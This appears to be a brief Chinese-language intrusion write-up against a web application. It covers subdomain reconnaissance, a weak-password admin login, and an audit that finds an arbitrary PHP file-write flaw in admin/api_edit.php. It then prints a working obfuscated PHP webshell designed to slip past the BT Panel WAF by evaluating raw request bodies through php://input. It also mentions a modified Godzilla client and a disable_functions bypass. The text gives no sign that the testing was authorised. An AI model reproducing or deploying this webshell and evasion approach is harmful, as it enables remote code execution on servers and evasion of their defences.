|
前期打点 拿到域名进行子域名收集使用subfinder和各大资产测绘平台 进行子域名收集 tscan进行测活 最后发现一个脆弱点能弱口令进入口台 寻找源码在某源码站发现此源码 代码审计后台漏洞发现文件路径:admin/api_edit.php 核心漏洞代码1接收用户输入的PHP代码 直接从 `$_POST['local_code']` 获取用户输入的PHP代码
没有对代码内容进行任何安全检查或过滤
没有验证代码是否包含危险函数(eval、system、exec等)
仅做了简单的 `<?php` 标签处理,没有安全意义漏洞核心代码2
问题分析:
使用 `file_put_contents()` 直接将用户提交的代码写入PHP文件
文件路径为 `../API/[endpoint].php`,可被直接访问执行
写入的文件具有完整的PHP执行权限
文件路径构造
虽然对endpoint进行了URL编码,但这不能防止代码执行
创建的PHP文件可以通过Web直接访问
文件权限为0755,可被执行
成功定位到漏洞点 绕过宝塔waf phpwebshell但是好景不长在我写入webshell的时候遭遇拦截 通过朋友给的拦截规则进行绕过 根据拦截规则bypass出如下代码 - class User {
- public static function getpublicMethod() {
- return 'publicMethod';
- }
- public static function publicMethod($args) {
- $key = 'args';
- $pass_decode = $$key;
- return @eval($pass_decode);
- }
- }
- $classloader = 'User';
- $method = $classloader::getpublicMethod();
- $aes_decode = <<<'EOF'
- register_shutdown_function(function(){
- $data=file_get_contents("php://input");
- if(!empty($data)) eval($data);
- });
- EOF;
- User::$method($aes_decode);
复制代码成功代码执行 但是无法执行命令 查看disable 发现高危的命令执行函数都被禁用了 上二开的哥斯拉一般修改过流量特征
最后使用插件 bypass disable
|